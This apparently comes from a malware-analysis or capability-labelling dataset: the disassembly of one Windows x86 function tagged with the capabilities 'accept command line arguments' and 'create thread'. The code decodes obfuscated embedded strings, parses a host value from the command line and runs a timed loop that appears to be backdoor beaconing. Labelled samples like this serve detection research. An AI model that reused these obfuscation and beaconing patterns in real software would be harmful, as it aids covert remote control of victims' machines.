Function at 0x401120
Capabilities:
Accept command line arguments
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x78], eax
push ebx
push esi
push edi
mov dword [esp + 0xc], 0xfffffffd
call fcn.00401110
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x401050
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x40f030]
mov esi, eax
test ecx, ecx
jne 0x401459
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00403020
call fcn.00401110
mov edx, dword [0x40f02c]
test edx, edx
je 0x4011c7
push str.WZT
call fcn.004035f0
add esp, 4
test eax, eax
je 0x4011c7
mov dword [0x40f030], 1
mov dword [0x40f02c], 0
jmp 0x401448
mov eax, dword [0x40f028]
push eax
call fcn.00403080
add esp, 4
cmp eax, 0x927c0
jl 0x401448
push esi
call fcn.00403080
add esp, 4
cmp eax, 0x2bf20
jl 0x401448
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x60
lea ecx, [esp + 0x24]
push 0
push ecx
mov dword [esp + 0x28], eax
call fcn.00404c00
mov eax, dword [esp + 0x18]
dec eax
add esp, 0xc
cmp eax, 4
ja case.default.0x40121d
jmp dword [eax*4 + 0x40147c]
cmp byte [0x40e06c], 0x91
jne 0x401241
push 0x2e
push 0x40e06c
push 0x40e06c
call fcn.00403310
add esp, 0xc
push 0x60
push 0x40e06c
lea edx, [esp + 0x28]
push edx
call ebx
jmp 0x4013d2
cmp byte [0x40e050], 0x92
jne 0x401271
push 0x1a
push 0x40e050
push 0x40e050
call fcn.00403310
add esp, 0xc
push 0x60
push 0x40e050
lea eax, [esp + 0x28]
push eax
call ebx
jmp 0x4013d2
cmp byte [0x40e034], 0x85
jne 0x4012a1
push 0x1c
push 0x40e034
push 0x40e034
call fcn.00403310
add esp, 0xc
push 0x60
push 0x40e034
lea ecx, [esp + 0x28]
push ecx
call ebx
jmp 0x4013d2
cmp byte [0x40e014], 0x96
jne 0x4012d1
push 0x1e
push 0x40e014
push 0x40e014
call fcn.00403310
add esp, 0xc
push 0x60
push 0x40e014
lea edx, [esp + 0x28]
push edx
call ebx
jmp 0x4013d2
mov dword [esp + 0xc], 0xfffffffe
jmp 0x4013d2
push 0x40b270
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00403090
add esp, 8
test eax, eax
je 0x40132f
push 0x60
add eax, 3
push eax
lea eax, [esp + 0x28]
push eax
call ebx
lea ecx, [esp + 0x20]
push 0x40b26c
push ecx
call fcn.00403090
add esp, 8
test eax, eax
je 0x40132f
mov byte [eax], 0
push 0x200
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x4013d2
cmp byte [section..data], 0xab
jne 0x401363
push 0x12
push section..data
push section..data
call fcn.00403310
add esp, 0xc
mov edi, dword [str.Network_Services]
push 0x1fe
push esi
push 0x40b268
push 0
mov dword [str.Network_Services], 0x40e000
call fcn.00402ec0
add esp, 0x10
cmp eax, 1
jne 0x4013c5
cmp byte [esi], 0
je 0x4013c5
xor ecx, ecx
mov al, byte [ecx + esi]
test al, al
je 0x4013a9
dec al
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0x1fe
jl 0x401394
push 0x40b264
push esi
call fcn.00403090
add esp, 8
test eax, eax
je 0x4013c5
push 0x60
push esi
lea edx, [esp + 0x28]
push edx
call ebx
push esi
mov dword [str.Network_Services], edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp byte [esp + 0x20], 0
je 0x401440
lea eax, [esp + 0x10]
push eax
call fcn.00403890
test eax, eax
je 0x401440
lea ecx, [esp + 0x20]
push 0x40b260
push ecx
mov esi, 0xc38a
call fcn.00403090
add esp, 8
test eax, eax
je 0x401411
mov byte [eax], 0
inc eax
push eax
call fcn.00404be2
add esp, 4
mov esi, eax
push esi
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00403940
test eax, eax
je 0x401436
lea ecx, [esp + 0x10]
push ecx
call fcn.004027a0
add esp, 4
dec dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
call fcn.00403910
inc dword [esp + 0xc]
mov esi, dword [esp + 0x1c]
mov eax, dword [0x40f030]
test eax, eax
je 0x40117e
mov edi, dword [esp + 0x18]
test edi, edi
je 0x401466
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x84]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00404bd3
mov esp, ebp
pop ebp
ret